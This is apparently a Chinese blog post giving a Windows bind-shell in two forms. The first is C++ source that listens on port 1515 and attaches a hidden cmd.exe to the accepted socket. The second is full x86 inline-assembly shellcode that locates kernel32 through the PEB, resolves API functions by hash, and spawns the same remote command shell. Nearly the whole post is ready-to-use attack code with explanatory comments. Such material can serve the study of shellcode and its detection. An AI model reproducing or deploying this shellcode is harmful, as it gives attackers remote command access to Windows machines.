Loading... # C++版本 ```cpp #include "stdafx.h" #include <WinSock2.h> #pragma comment(lib,"Ws2_32.lib") int main() { // 1. 初始化SOCKET WSADATA stWSA; WSAStartup( 0x0202, &stWSA ); // 2. 创建原始套接字 SOCKET stListen = INVALID_SOCKET; stListen = WSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 ); // 3. 在任意地址绑定一个端口1515(INADDR_ANY) SOCKADDR_IN stService; stService.sin_addr.S_un.S_addr = INADDR_ANY; stService.sin_port = htons( 1515 ); stService.sin_family = AF_INET; bind( stListen, ( LPSOCKADDR ) &stService, sizeof( stService ) ); // 4. 监听连接 listen( stListen, SOMAXCONN ); // 5. 接受连接 stListen = accept( stListen, 0, 0 ); // 6. 创建一个CMD进程,并将其输入与输出重定位到创建的套接字上 PROCESS_INFORMATION stPI = { 0 }; STARTUPINFOA stSI = { 0 }; stSI.cb = sizeof( stSI ); stSI.wShowWindow = SW_HIDE; stSI.dwFlags = STARTF_USESTDHANDLES; stSI.hStdInput = ( HANDLE ) stListen; stSI.hStdOutput = ( HANDLE ) stListen; stSI.hStdError = ( HANDLE ) stListen;//在创建 cmd.exe 的时候可以选择隐藏cmd窗口【带参数】 CreateProcessA( 0, "cmd.exe", 0, 0, TRUE, 0, 0, 0, &stSI, &stPI ); // 7. 关闭相关句柄,并释放相关资源 CloseHandle( stPI.hProcess ); CloseHandle( stPI.hThread ); closesocket( stListen ); WSACleanup(); return 0; } ``` ![image.png](http://www.irohane.top/usr/uploads/2021/01/3504374307.png) # 汇编版本 ``` int main() { _asm { sub esp, 0x50; push ebp; mov ebp, esp; sub esp, 0x10; jmp tag_ShellCode; // 前置代码跳过数据区 ////////////////////////////////////////////////////////////////////////// // cmd.exe\0 25 _asm _emit(0x63) _asm _emit(0x6D) _asm _emit(0x64) _asm _emit(0x2E) _asm _emit(0x65) _asm _emit(0x78) _asm _emit(0x65) _asm _emit(0x00) // ws2_32.dll\0 1D _asm _emit(0x77) _asm _emit(0x73) _asm _emit(0x32) _asm _emit(0x5F) _asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2E) _asm _emit(0x64) _asm _emit(0x6C) _asm _emit(0x6C) _asm _emit(0x00) // kernel32.dll\0 12 _asm _emit(0x6B) _asm _emit(0x65) _asm _emit(0x72) _asm _emit(0x6E) _asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2E) _asm _emit(0x64) _asm _emit(0x6C) _asm _emit(0x6C) _asm _emit(0x00); ////////////////////////////////////////////////////////////////////////// tag_ShellCode: // 1. GetPC call tag_Next; tag_Next: pop ebx; // 这里就得到了shellcode的地址 mov[ebp - 0x04], ebx; // EBP - 4 CodeBase; // 2. 获取关键地址:kernel32.dll地址 mov esi, fs: [0x30] ; // PEB addr mov esi, [esi + 0x0c]; // PEB_LDR_DATA mov esi, [esi + 0x1c]; // 双向链表 mov esi, [esi]; // 取出下一个结构体地址 mov edx, [esi + 0x08]; // 获取Kernel32.dll地址 //mov[ ebp - 0x08 ], edx; // EBP - 8 KernelBaseAddr // 3. 查找 LoadLibraryExA地址 push edx; // KernelBaseAddr push 0xc0d83287; // 提前计算好的LoadLibraryExA字符的简易HASH call fun_GetFunAddrByHash; // 通过比较HASH查找 关键函数 mov edi, eax; // 4. 加载Kernel32.dll增加兼容性 lea esi, [ebx - 0x12]; // "Kernel32.dll"字符串地址 push 0; // dwFlag = 0 push 0; // hFile = 0 push esi; // lpLibFileName = "Kernel32.dll" call edi; // LoadLibraryExA(); mov[ebp - 0x08], eax; // 5. 加载WS2_32.dll以方便后边的网络通信编程 lea esi, [ebx - 0x1D]; // "ws2_32.dll"字符串地址 push 0; // dwFlag = 0 push 0; // hFile = 0 push esi; // lpLibFileName = "ws2_32.dll" call edi; // LoadLibraryExA(); mov[ebp - 0x0c], eax; // 6. 执行PayLoad部分 push[ebp - 0x0c]; // ws2_32.dll 地址 push[ebp - 0x08]; // Kernel32.dll addr push[ebp - 0x04]; // CodeBase addr call fun_PayLoad; // 7. PayLoad 执行完毕结束程序,防止被调试分析 push[ebp - 0x08]; // KernelBase push 0x4fd18963; // ExitProcess hash值 call fun_GetFunAddrByHash; push 0; // ExitCode = 0; call eax; // ExitProcess(0); mov esp, ebp; pop ebp; ////////////////////////////////////////////////////////////////////////// fun_GetFunAddrByHash: push ebp; mov ebp, esp; sub esp, 0x0c; push edx; // 1. 获取EAT,ENT,EOT地址: mov ecx, [ebp + 0x0c]; // ecx,参数1是 IMAGEBASE///////////////////////////////////////////////////// mov eax, [ecx + 0x3c]; // edx + 3c 是DOS头指向NT头的偏移 mov eax, [eax + ecx + 0x78]; // eax + edx 是NT头的地址 再 + 0x78 是数据目录表[0]的偏移 mov edi, [eax + ecx + 0x1c]; // EAT RVA add edi, ecx; mov[ebp - 0x04], edi; // EAT 保存到局部变量1中 mov edi, [eax + ecx + 0x20]; // ENT add edi, ecx; mov[ebp - 0x08], edi; // ENT 保存到局部变量2中 mov edi, [eax + ecx + 0x24]; // EOT add edi, ecx; mov[ebp - 0x0c], edi; // EOT 保存到局部变量3中 mov edi, [eax + ecx + 0x18]; // 导出表中 名称数量 ////////////////////////////////////////////////////////////////////////// // 2. 循环比较ENT中的函数名 xor ecx, ecx; jmp tag_FirstCmp; tag_CmpFunNameLoop: inc ecx; tag_FirstCmp: mov esi, [ebp - 0x08]; // ENT addr mov esi, [esi + ecx * 4]; // ENT RVA 当下一次比较时,指针 + 4 mov edx, [ebp + 0x0c]; // KernelBase lea esi, [edx + esi]; // 获取到具体函数名的指针 push[ebp + 0x08]; // 参数2:要进行对比的摘要 push esi; // 函数名指针 call fun_Hash_CmpString; // ecx = "GetProcAddress"长度 ////////////////////////////////////////////////////////////////////////// cmp eax, 1; // 如果对比函数返回1则说明找到这个函数了 jne tag_CmpFunNameLoop; // 不相等继续进行比较 mov esi, [ebp - 0x0c]; // 取出EOT xor edi, edi; mov di, [esi + ecx * 2]; // di是序号,函数名在ENT表中的下标与序号表中的序号是对应的;要在EOT中找到这个ECX对应的地方 // *2 是每个序号为WORD型,占两个字节,要偏移ECX * 2个字节 才是需要的数据 // 这个数据 用于在EAT中作为下标查找对应的地址; mov edx, [ebp - 0x04]; // 取出 EAT mov esi, [edx + edi * 4]; // esi = 用序号在函数地址数组找到函数名对应函数地址 mov edx, [ebp + 0x0c]; // edx = param_1 IMAGE_BASE // 返回获取到的关键函数地址 lea eax, [edx + esi]; // getprocaddress pop edx; mov esp, ebp; pop ebp; retn 0x08; ////////////////////////////////////////////////////////////////////////// fun_Hash_CmpString: push ebp; mov ebp, esp; sub esp, 0x04; // 开辟局部变量并清零 mov dword ptr[ebp - 0x04], 0x00; push ebx; // 保存用到的寄存器 push ecx; push edx; mov esi, [ebp + 0x08]; // strFunName xor ecx, ecx; xor eax, eax; tag_HashLoop: mov al, [esi + ecx]; // 字符串的第ecx字符 test al, al; // 判断是否为0。 jz tag_HashEnd; // 为0结束循环 mov ebx, [ebp - 0x04]; // 得到hash1 shl ebx, 0x19; // hash1<< 25 mov edx, [ebp - 0x04]; // hash2>>7 shr edx, 0x07; or ebx, edx; // hash1 + hash2 add ebx, eax; // 添加下一个字符的ASCII mov[ebp - 0x04], ebx; inc ecx; // ecx++ jmp tag_HashLoop; tag_HashEnd: mov ebx, [ebp + 0x0c]; // 这里得到 函数名摘要 mov edx, [ebp - 0x04]; // 要进行对比的摘要 xor eax, eax; cmp ebx, edx; // 比较这两个摘要 jne tag_FunEnd; // 不相等就结束比较 mov eax, 1; // 相等返回1 tag_FunEnd: pop edx; pop ecx; pop ebx; mov esp, ebp; pop ebp; retn 0x08; ////////////////////////////////////////////////////////////////////////// fun_PayLoad: push ebp; mov ebp, esp; sub esp, 0x300; // 1. 初始化winsock服务 push[ebp + 0x10]; // kernelBase push 0x80b46a3d; // WSAStartup 摘要 call fun_GetFunAddrByHash; lea esi, [ebp - 0x300]; // WSADATA push esi; // LPWSAData = WSADATA push 0x0202; // wVersionRequested = 2.2 call eax; // WSAStartup() test eax, eax; // 函数返回结果 0 为执行成功 jnz tag_PayLoadEnd; // 2. 创建一个原始套接字 push[ebp + 0x10]; // kernelbase push 0xde78322d; // WSASocketA 摘要 call fun_GetFunAddrByHash; push 0; push 0; push 0; push 6; // protocol = IPPROTO_TCP push 1; // type = sock_STREAM push 2; // -af = AF_INET call eax; // WSASocketA() mov[ebp - 0x04], eax; // 得到的套接字给局部变量 // 3. 在任意地址上绑定一个端口1515; push[ebp + 0x10]; // kernelBase push 0xdda71064; // bind 摘要 call fun_GetFunAddrByHash; mov word ptr[ebp - 0x200], 0x02; // sockaddr_in.sin_family = AF_INET mov word ptr[ebp - 0x1fe], 0xeb05;// sockAddr_in.sin_port = 1515(0xEB05) htons(1515); mov dword ptr[ebp - 0x1fc], 0; // sockaddr_in.sin_addr = inaddr_any lea esi, [ebp - 0x200]; // esi = sockaddr_in push 0x10; // 结构体长度 push esi; // 结构体:SOCKADDR_IN push[ebp - 0x04]; // socket call eax; // bind(); test eax, eax; // 绑定成功返回0 jnz tag_PayLoadEnd; // 4. 监听端口的连接 push[ebp + 0x10]; push 0x4bd39f0c; call fun_GetFunAddrByHash; push 0x7fffffff; // backlong = SOMAXCONN push[ebp - 0x04]; // socket call eax; // listen() cmp eax, 0; //and eax, eax; // 成功返回0 jnz tag_PayLoadEnd; // 5. 接受连接 push[ebp + 0x10]; push 0x01971eb1; call fun_GetFunAddrByHash; push 0; // 参数3:addrlen = null push 0; // 参数2:addr = null push[ebp - 0x04]; // 参数1:socket call eax; // accept() mov[ebp - 0x04], eax; // 返回结果到局部变量 // 6. 创建一个cmd进程 push[ebp + 0x0c]; // kernel32.dll base push 0x6ba6bcc9; call fun_GetFunAddrByHash; mov edx, eax; // CreateProcess() 地址 lea edi, [ebp - 0x90]; // 清空STARTUPINFOA mov ecx, 0x11; // STARTUPINFOA mov eax, 0x00; // 从EBP - 0x90开始 cld; // 到ebp-0x48结束 rep stosd; mov dword ptr[ebp - 0x90], 0x00000044; // cb = 68 mov dword ptr[ebp - 0x64], 0x00000100; // dwFlag = STARTF_USESTDHANDLES mov word ptr[ebp - 0x60], 0x0000; // wShowWindow = SW_HIDE mov esi, [ebp - 0x04]; // socket mov dword ptr[ebp - 0x58], esi; // Input = socket mov dword ptr[ebp - 0x54], esi; // Output = socket mov dword ptr[ebp - 0x50], esi; // Error = socket lea esi, [ebp - 0x90]; // STARTUPINFOA lea edi, [ebp - 0x200]; // PROCESS_INFORMATION 结构体 mov ebx, [ebp + 0x08]; // CodeBase lea ebx, [ebx - 0x25]; // "cmd.exe\0" push edi; push esi; push 0; push 0; push 0; push 1; push 0; push 0; push ebx; push 0; call edx; // CreateProcessA() tag_PayLoadEnd: mov esp, ebp; pop ebp; retn 0x0c; } ////////////////////////////////////////////////////////////////////////// return 0; } ``` 最后修改:2021 年 01 月 13 日 © 允许规范转载 赞 0 如果觉得我的文章对你有用,请随意赞赏